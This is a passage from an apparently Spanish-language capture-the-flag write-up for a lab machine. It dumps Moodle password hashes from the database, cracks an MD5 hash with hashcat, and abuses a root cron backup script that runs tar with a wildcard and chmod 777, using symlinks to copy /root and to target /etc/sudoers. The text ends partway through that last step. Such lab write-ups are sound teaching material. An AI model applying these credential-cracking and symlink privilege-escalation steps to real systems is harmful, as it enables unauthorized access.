</span></span><span style="display:flex;"><span>| mdl_tool_monitor_rules           |
</span></span><span style="display:flex;"><span>| mdl_tool_monitor_subscriptions   |
</span></span><span style="display:flex;"><span>| mdl_tool_recyclebin_category     |
</span></span><span style="display:flex;"><span>| mdl_tool_recyclebin_course       |
</span></span><span style="display:flex;"><span>| mdl_tool_usertours_steps         |
</span></span><span style="display:flex;"><span>| mdl_tool_usertours_tours         |
</span></span><span style="display:flex;"><span>| mdl_upgrade_log                  |
</span></span><span style="display:flex;"><span>| mdl_url                          |
</span></span><span style="display:flex;"><span>| mdl_user                         |
</span></span><span style="display:flex;"><span>| mdl_user_devices                 |
</span></span><span style="display:flex;"><span>| mdl_user_enrolments              |
</span></span><span style="display:flex;"><span>| mdl_user_info_category           |
</span></span><span style="display:flex;"><span>| mdl_user_info_data               |
</span></span><span style="display:flex;"><span>| mdl_user_info_field              |
</span></span><span style="display:flex;"><span>| mdl_user_lastaccess              |
</span></span><span style="display:flex;"><span>| mdl_user_password_history        |
</span></span><span style="display:flex;"><span>| mdl_user_password_resets         |
</span></span><span style="display:flex;"><span>| mdl_user_preferences             |
</span></span><span style="display:flex;"><span>| mdl_user_private_key             |
</span></span><span style="display:flex;"><span>| mdl_wiki                         |
</span></span><span style="display:flex;"><span>| mdl_wiki_links                   |
</span></span><span style="display:flex;"><span>| mdl_wiki_locks                   |
</span></span><span style="display:flex;"><span>| mdl_wiki_pages                   |
</span></span><span style="display:flex;"><span>| mdl_wiki_subwikis                |
</span></span><span style="display:flex;"><span>| mdl_wiki_synonyms                |
</span></span><span style="display:flex;"><span>| mdl_wiki_versions                |
</span></span><span style="display:flex;"><span>| mdl_workshop                     |
</span></span><span style="display:flex;"><span>| mdl_workshop_aggregations        |
</span></span><span style="display:flex;"><span>| mdl_workshop_assessments         |
</span></span><span style="display:flex;"><span>| mdl_workshop_assessments_old     |
</span></span><span style="display:flex;"><span>| mdl_workshop_comments_old        |
</span></span><span style="display:flex;"><span>| mdl_workshop_elements_old        |
</span></span><span style="display:flex;"><span>| mdl_workshop_grades              |
</span></span><span style="display:flex;"><span>| mdl_workshop_grades_old          |
</span></span><span style="display:flex;"><span>| mdl_workshop_old                 |
</span></span><span style="display:flex;"><span>| mdl_workshop_rubrics_old         |
</span></span><span style="display:flex;"><span>| mdl_workshop_stockcomments_old   |
</span></span><span style="display:flex;"><span>| mdl_workshop_submissions         |
</span></span><span style="display:flex;"><span>| mdl_workshop_submissions_old     |
</span></span><span style="display:flex;"><span>| mdl_workshopallocation_scheduled |
</span></span><span style="display:flex;"><span>| mdl_workshopeval_best_settings   |
</span></span><span style="display:flex;"><span>| mdl_workshopform_accumulative    |
</span></span><span style="display:flex;"><span>| mdl_workshopform_comments        |
</span></span><span style="display:flex;"><span>| mdl_workshopform_numerrors       |
</span></span><span style="display:flex;"><span>| mdl_workshopform_numerrors_map   |
</span></span><span style="display:flex;"><span>| mdl_workshopform_rubric          |
</span></span><span style="display:flex;"><span>| mdl_workshopform_rubric_config   |
</span></span><span style="display:flex;"><span>| mdl_workshopform_rubric_levels   |
</span></span><span style="display:flex;"><span>+----------------------------------+
</span></span><span style="display:flex;"><span>388 rows in set (0.01 sec)
</span></span></code></pre></div><p>Esas fueron muchas tablas. Todo para ir tras mdl_users:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>MariaDB [moodle]&gt; select * from mdl_user;
</span></span><span style="display:flex;"><span>select * from mdl_user;
</span></span><span style="display:flex;"><span>+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
</span></span><span style="display:flex;"><span>| id   | auth   | confirmed | policyagreed | deleted | suspended | mnethostid | username    | password                                                     | idnumber | firstname  | lastname | email          | emailstop | icq | skype | yahoo | aim | msn | phone1 | phone2 | institution | department | address | city | country | lang | calendartype | theme | timezone | firstaccess | lastaccess | lastlogin  | currentlogin | lastip        | secret | picture | url | description                                                               | descriptionformat | mailformat | maildigest | maildisplay | autosubscribe | trackforums | timecreated | timemodified | trustbitmask | imagealt | lastnamephonetic | firstnamephonetic | middlename | alternatename |
</span></span><span style="display:flex;"><span>+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
</span></span><span style="display:flex;"><span>|    1 | manual |         1 |            0 |       0 |         0 |          1 | guest       | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO |          | Guest user |          | root@localhost |         0 |     |       |       |     |     |        |        |             |            |         |      |         | en   | gregorian    |       | 99       |           0 |          0 |          0 |            0 |               |        |       0 |     | This user is a special user that allows read-only access to some courses. |                 1 |          1 |          0 |           2 |             1 |           0 |           0 |   1530058999 |            0 | NULL     | NULL             | NULL              | NULL       | NULL          |
</span></span><span style="display:flex;"><span>|    2 | manual |         1 |            0 |       0 |         0 |          1 | admin       | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 |          | Admin      | User     | gio@gio.nl     |         0 |     |       |       |     |     |        |        |             |            |         |      |         | en   | gregorian    |       | 99       |  1530059097 | 1530059573 | 1530059097 |   1530059307 | 192.168.206.1 |        |       0 |     |                                                                           |                 1 |          1 |          0 |           1 |             1 |           0 |           0 |   1530059135 |            0 | NULL     |                  |                   |            |               |
</span></span><span style="display:flex;"><span>|    3 | manual |         1 |            0 |       0 |         0 |          1 | giovanni    | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO |          | Giovanni   | Chhatta  | Giio@gio.nl    |         0 |     |       |       |     |     |        |        |             |            |         |      |         | en   | gregorian    |       | 99       |  1530059681 | 1554439754 | 1554438499 |   1554438765 | 10.10.15.239  |        |       0 |     |                                                                           |                 1 |          1 |          0 |           2 |             1 |           0 |  1530059291 |   1554437240 |            0 |          |                  |                   |            |               |
</span></span><span style="display:flex;"><span>| 1337 | manual |         0 |            0 |       0 |         0 |          0 | Giovannibak | 7a860966115182402ed06375cf0a22af                             |          |            |          |                |         0 |     |       |       |     |     |        |        |             |            |         |      |         | en   | gregorian    |       | 99       |           0 |          0 |          0 |            0 |               |        |       0 |     | NULL                                                                      |                 1 |          1 |          0 |           2 |             1 |           0 |           0 |            0 |            0 | NULL     | NULL             | NULL              | NULL       | NULL          |
</span></span><span style="display:flex;"><span>+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
</span></span><span style="display:flex;"><span>4 rows in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MariaDB [moodle]&gt;
</span></span></code></pre></div><p>Traducido y simplificado a otra tabla:</p>
<table>
  <thead>
      <tr>
          <th>id</th>
          <th>username</th>
          <th>password</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>guest</td>
          <td>$2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO</td>
      </tr>
      <tr>
          <td>2</td>
          <td>admin</td>
          <td>$2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2</td>
      </tr>
      <tr>
          <td>3</td>
          <td>giovanni</td>
          <td>$2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO</td>
      </tr>
      <tr>
          <td>1337</td>
          <td>Giovannibak</td>
          <td>7a860966115182402ed06375cf0a22af</td>
      </tr>
  </tbody>
</table>
<p>Así resulta evidente que tenemos 3 hash de bcrypt y uno de otro tipo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ hashid 7a860966115182402ed06375cf0a22af
</span></span><span style="display:flex;"><span>Analyzing &#39;7a860966115182402ed06375cf0a22af&#39;
</span></span><span style="display:flex;"><span>[+] MD2
</span></span><span style="display:flex;"><span>[+] MD5
</span></span><span style="display:flex;"><span>[+] MD4
</span></span><span style="display:flex;"><span>[+] Double MD5
</span></span><span style="display:flex;"><span>[+] LM
</span></span><span style="display:flex;"><span>[+] RIPEMD-128
</span></span><span style="display:flex;"><span>[+] Haval-128
</span></span><span style="display:flex;"><span>[+] Tiger-128
</span></span><span style="display:flex;"><span>[+] Skein-256(128)
</span></span><span style="display:flex;"><span>[+] Skein-512(128)
</span></span><span style="display:flex;"><span>[+] Lotus Notes/Domino 5
</span></span><span style="display:flex;"><span>[+] Skype
</span></span><span style="display:flex;"><span>[+] Snefru-128
</span></span><span style="display:flex;"><span>[+] NTLM
</span></span><span style="display:flex;"><span>[+] Domain Cached Credentials
</span></span><span style="display:flex;"><span>[+] Domain Cached Credentials 2
</span></span><span style="display:flex;"><span>[+] DNSSEC(NSEC3)
</span></span><span style="display:flex;"><span>[+] RAdmin v2.x
</span></span></code></pre></div><p>Se trata de un MD5, así que <code>hashcat</code> a la obra:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ hashcat -a0 -m0 7a860966115182402ed06375cf0a22af /home/xbytemx/wl/rockyou.txt --force
</span></span><span style="display:flex;"><span>hashcat (v5.1.0) starting...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Dictionary cache hit:
</span></span><span style="display:flex;"><span>* Filename..: /home/xbytemx/wl/rockyou.txt
</span></span><span style="display:flex;"><span>* Passwords.: 14344384
</span></span><span style="display:flex;"><span>* Bytes.....: 139921497
</span></span><span style="display:flex;"><span>* Keyspace..: 14344384
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7a860966115182402ed06375cf0a22af:expelled
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Session..........: hashcat
</span></span><span style="display:flex;"><span>Status...........: Cracked
</span></span><span style="display:flex;"><span>Hash.Type........: MD5
</span></span><span style="display:flex;"><span>Hash.Target......: 7a860966115182402ed06375cf0a22af
</span></span><span style="display:flex;"><span>Time.Started.....: Thu Apr  4 22:52:16 2019 (1 sec)
</span></span><span style="display:flex;"><span>Time.Estimated...: Thu Apr  4 22:52:17 2019 (0 secs)
</span></span><span style="display:flex;"><span>Guess.Base.......: File (/home/xbytemx/wl/rockyou.txt)
</span></span><span style="display:flex;"><span>Guess.Queue......: 1/1 (100.00%)
</span></span><span style="display:flex;"><span>Speed.#1.........:   929.6 kH/s (12.19ms) @ Accel:32 Loops:1 Thr:64 Vec:1
</span></span><span style="display:flex;"><span>Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
</span></span><span style="display:flex;"><span>Progress.........: 983040/14344384 (6.85%)
</span></span><span style="display:flex;"><span>Rejected.........: 0/983040 (0.00%)
</span></span><span style="display:flex;"><span>Restore.Point....: 942080/14344384 (6.57%)
</span></span><span style="display:flex;"><span>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
</span></span><span style="display:flex;"><span>Candidates.#1....: gkloria -&gt; computer?
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Started: Thu Apr  4 22:52:09 2019
</span></span><span style="display:flex;"><span>Stopped: Thu Apr  4 22:52:19 2019
</span></span></code></pre></div><p>Volvamos a ingresar como giovanni:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@teacher:/var/www$ su - giovanni
</span></span><span style="display:flex;"><span>su - giovanni
</span></span><span style="display:flex;"><span>Password: expelled
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>giovanni@teacher:~$
</span></span></code></pre></div><blockquote>
<p>creds: giovanni / expelled</p>
</blockquote>
<h1 id="cat-usertxt"><code>cat user.txt</code></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ cat user.txt
</span></span><span style="display:flex;"><span>cat user.txt
</span></span></code></pre></div><h1 id="privesc-from-giovanni-to-">Privesc from giovanni to ***</h1>
<p>Veamos el contenido del home de giovanni:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ ls -lahR
</span></span><span style="display:flex;"><span>ls -lahR
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>total 36K
</span></span><span style="display:flex;"><span>drwxr-x--- 4 giovanni giovanni 4.0K Nov  4 19:47 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root     root     4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>-rw------- 1 giovanni giovanni    1 Nov  4 19:47 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 giovanni giovanni  220 Jun 27  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 giovanni giovanni 3.5K Jun 27  2018 .bashrc
</span></span><span style="display:flex;"><span>drwxrwxrwx 2 giovanni giovanni 4.0K Jun 27  2018 .nano
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 giovanni giovanni  675 Jun 27  2018 .profile
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 giovanni giovanni   33 Jun 27  2018 user.txt
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Jun 27  2018 work
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.nano:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxrwxrwx 2 giovanni giovanni 4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-x--- 4 giovanni giovanni 4.0K Nov  4 19:47 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work:
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-x--- 4 giovanni giovanni 4.0K Nov  4 19:47 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 courses
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 tmp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work/courses:
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root     root     4.0K Jun 27  2018 algebra
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work/courses/algebra:
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root     root     4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 giovanni giovanni  109 Jun 27  2018 answersAlgebra
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work/tmp:
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>-rwxrwxrwx 1 root     root      256 Apr  5 06:59 backup_courses.tar.gz
</span></span><span style="display:flex;"><span>drwxrwxrwx 3 root     root     4.0K Jun 27  2018 courses
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work/tmp/courses:
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxrwxrwx 3 root     root     4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>drwxrwxrwx 2 root     root     4.0K Jun 27  2018 algebra
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./work/tmp/courses/algebra:
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxrwxrwx 2 root     root     4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxrwxrwx 3 root     root     4.0K Jun 27  2018 ..
</span></span><span style="display:flex;"><span>-rwxrwxrwx 1 giovanni giovanni  109 Jun 27  2018 answersAlgebra
</span></span></code></pre></div><p>Nos llama la atención el archivo <code>backup_courses.tar.gz</code> y que la carpeta tmp tiene una copia de courses. Revisando los procesos no encontramos nada asociado.</p>
<p>Tras ver que el archivo <code>backup_courses.tar.gz</code> cambiaba con el tiempo, esto fue una clara señal de un malevolo cronjob, por lo que lance <code>pspy</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ /var/www/moodledata/.tmp/pspy64
</span></span><span style="display:flex;"><span>/var/www/moodledata/.tmp/pspy64
</span></span><span style="display:flex;"><span>Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>......
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11031  | /usr/sbin/CRON -f
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11032  | /usr/sbin/CRON -f
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11033  | /bin/bash /usr/bin/backup.sh
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11034  | /bin/bash /usr/bin/backup.sh
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11035  | tar -czvf tmp/backup_courses.tar.gz courses/algebra
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11036  | /bin/sh -c gzip
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11037  | /bin/bash /usr/bin/backup.sh
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11038  | tar -xf backup_courses.tar.gz
</span></span><span style="display:flex;"><span>2019/04/05 07:05:01 CMD: UID=0    PID=11039  | /bin/bash /usr/bin/backup.sh
</span></span></code></pre></div><p>Ahora sabemos que existe un cronjob de root que ejecuta <code>/usr/bin/backup.sh</code>, por lo que veamos en su contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ cat /usr/bin/backup.sh
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span>cd /home/giovanni/work;
</span></span><span style="display:flex;"><span>tar -czvf tmp/backup_courses.tar.gz courses/*;
</span></span><span style="display:flex;"><span>cd tmp;
</span></span><span style="display:flex;"><span>tar -xf backup_courses.tar.gz;
</span></span><span style="display:flex;"><span>chmod 777 * -R;
</span></span></code></pre></div><p>Básicamente tmp es una copia de los cursos en work.</p>
<p>Esto se ejecuta como <strong>root</strong> sobre archivos que son de <strong>giovanni</strong>:</p>
<p>INPUT</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>./work:
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 courses
</span></span></code></pre></div><p>Esto es importante de señalar porque el script de backup confía en que el origen del que es dueño giovanni siempre sera el mismo, mas aun agrega un wildcard &lsquo;*&rsquo; donde incluye todo. Adicionalmente que root tiene muchísimos menos restricciones a la hora de acceder a otros archivos, a los que el usuario si el usuario giovanni ejecutara el backup.sh no le permitiría.</p>
<p>Hay un <a href="https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/">articulo</a> muy interesante sobre los privesc sobre los wildcards.</p>
<p>En este caso, abusaremos que podemos crear enlaces simbolicos y realizaremos un backup pero de <code>/root</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ cd work
</span></span><span style="display:flex;"><span>cd work
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>courses  tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ mv courses courses.old
</span></span><span style="display:flex;"><span>mv courses courses.old
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ln -s /root/ courses
</span></span><span style="display:flex;"><span>ln -s /root/ courses
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Apr  5 07:53 .
</span></span><span style="display:flex;"><span>drwxr-x--- 4 giovanni giovanni 4.0K Nov  4 19:47 ..
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 giovanni giovanni    6 Apr  5 07:53 courses -&gt; /root/
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 courses.old
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ cd tmp
</span></span><span style="display:flex;"><span>cd tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work/tmp$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>backup_courses.tar.gz  courses
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work/tmp$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Apr  5 07:53 ..
</span></span><span style="display:flex;"><span>-rwxrwxrwx 1 root     root      150 Apr  5 07:54 backup_courses.tar.gz
</span></span><span style="display:flex;"><span>drwxrwxrwx 3 root     root     4.0K Apr  5 07:54 courses
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work/tmp$ date
</span></span><span style="display:flex;"><span>date
</span></span><span style="display:flex;"><span>Fri Apr  5 07:54:28 CEST 2019
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work/tmp$ base64 backup_courses.tar.gz
</span></span><span style="display:flex;"><span>base64 backup_courses.tar.gz
</span></span><span style="display:flex;"><span>H4sIAHntplwAA+3QOw7CMBCEYdecIieA9XPNcewotJFiR+L4PEqCoIoQ0v81U+wUox3ndWlTOy3z
</span></span><span style="display:flex;"><span>3I/92s0O5C6JPFO2KRKssd7bEFNS9Uas0xTNIHuMebW2XpZhMI8HfOp9u/+pcPEl+xpcGVWdL1Fy
</span></span><span style="display:flex;"><span>zWWctOZqnZwPvx4IAAAAAAAAAAAAAAAAAHjrBoMCTGsAKAAA
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work/tmp$ cd ..
</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>courses  courses.old  tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ rm courses &amp;&amp; mv courses.old courses
</span></span><span style="display:flex;"><span>rm courses &amp;&amp; mv courses.old courses
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$
</span></span></code></pre></div><p>Ahora que tenemos el b64 del backup de root solo es crear el archivo y descomprimir:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ cat backup_courses.tar.gz.b64
</span></span><span style="display:flex;"><span>H4sIAHntplwAA+3QOw7CMBCEYdecIieA9XPNcewotJFiR+L4PEqCoIoQ0v81U+wUox3ndWlTOy3z
</span></span><span style="display:flex;"><span>3I/92s0O5C6JPFO2KRKssd7bEFNS9Uas0xTNIHuMebW2XpZhMI8HfOp9u/+pcPEl+xpcGVWdL1Fy
</span></span><span style="display:flex;"><span>zWWctOZqnZwPvx4IAAAAAAAAAAAAAAAAAHjrBoMCTGsAKAAA
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ base64 -d backup_courses.tar.gz.b64 &gt; backup_courses.tar.gz
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ tar xfz backup_courses.tar.gz
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ ls -lah courses/
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 xbytemx xbytemx 4.0K abr  4 23:56 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 xbytemx xbytemx 4.0K abr 27 20:38 ..
</span></span><span style="display:flex;"><span>-rw------- 1 xbytemx xbytemx   33 jun 26  2018 root.txt
</span></span></code></pre></div><h1 id="cat-roottxt"><code>cat root.txt</code></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ cat courses/root.txt
</span></span></code></pre></div><p>&hellip; We got root flag.</p>
<p>Pero aun nos falta la shell!</p>
<h1 id="abusing-backup-script-again">Abusing backup script again.</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~$ cat /usr/bin/backup.sh
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span>cd /home/giovanni/work;
</span></span><span style="display:flex;"><span>tar -czvf tmp/backup_courses.tar.gz courses/*;
</span></span><span style="display:flex;"><span>cd tmp;
</span></span><span style="display:flex;"><span>tar -xf backup_courses.tar.gz;
</span></span><span style="display:flex;"><span>chmod 777 * -R;
</span></span></code></pre></div><p>Como sabemos, el script de backup tiene dos partes una donde comprime y otra donde extrae, pero algo muy interesante sucede al final; agrega todos los permisos a todo de manera recursiva. Wildcard strikes again.</p>
<p>Ahora, como los comandos no están concatenados ni evalúan la salida exitosa, ¿que pasaría si en lugar de que el enlace simbólico fuera courses, fuera algún archivo dentro de tmp? Pues básicamente estaríamos asignando un 777 a ese archivo. El archivo podría ser sudoers por ejemplo, permitiendo que giovanni haga sudo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>giovanni@teacher:~/work$ mv tmp tmp.old
</span></span><span style="display:flex;"><span>mv tmp tmp.old
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ln -s /etc/sudoers tmp
</span></span><span style="display:flex;"><span>ln -s /etc/sudoers tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 giovanni giovanni 4.0K Apr  5 07:53 .
</span></span><span style="display:flex;"><span>drwxr-x--- 4 giovanni giovanni 4.0K Nov  4 19:47 ..
